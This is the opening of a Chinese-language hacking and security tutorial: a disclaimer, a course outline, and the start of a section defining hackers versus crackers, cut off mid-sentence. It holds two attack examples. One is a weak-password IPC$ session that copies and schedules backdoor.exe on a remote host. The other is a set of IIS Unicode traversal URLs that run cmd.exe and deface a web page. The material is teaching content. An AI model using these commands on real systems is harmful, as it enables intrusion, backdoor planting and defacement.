本教程一切涉及攻击方面的方法及实例目的为了了解漏洞隐患,以便我们针对不同的漏洞做好安全防范。大家不要利用这些攻击方法去肆意破坏他人的系统及网络。
概述
信息和网络安全技术经过近十年的发展,在深度和广度上已经有了很大的进步,其中一个重要的研究趋势就是注重攻、防结合,追求动态安全。
教程内容
了解系统及网络的不安全隐患
了解系统漏洞的原理及危险性
攻击技巧及工具的使用
如何利用漏洞进行系统攻击
如何利用漏洞进行网络攻击
对软件漏洞的攻击及软件的破解
如何防止恶意攻击
如何构建安全的系统和网络环境
引子
深入了解系统漏洞及管理漏洞带来的危险性。
例1 (弱口令漏洞攻击) 目的:了解管理漏洞带来的危害。 net use xxx.xxx.xxx.xxxipc$ password /user:admin copy backdoor.exe xxx.xxx.xxx.xxxadmin$system32 net time xxx.xxx.xxx.xxx at xxx.xxx.xxx.xxx 23:00 backdoor.exe
例2 (Unicode漏洞攻击) 目的:了解系统漏洞带来的危害。%c1%1c../winnt/system32/cmd.exe?/c+dir+c:%c1%1c../winnt/system32/cmd.exe?/c+set%c1%1c../winnt/system32/cmd.exe?/c+echo+iamhacker+>;c:inetpubwwwrootindex. htm
黑客定义的争议
什么是黑客?
黑客其实是Hacker的音译,源于动词Hack其引申意义是指“干了一件非常漂亮的事”。在这里我们说黑客是指那些精于某方面技术的人。对于计算机而言,黑客就是精通网络、系统、外设以及软硬件技术的人。
什么是骇客? 有些黑客逾越尺度,运用自己的知识去做出有损他人权益的事情,我们就称这种人为骇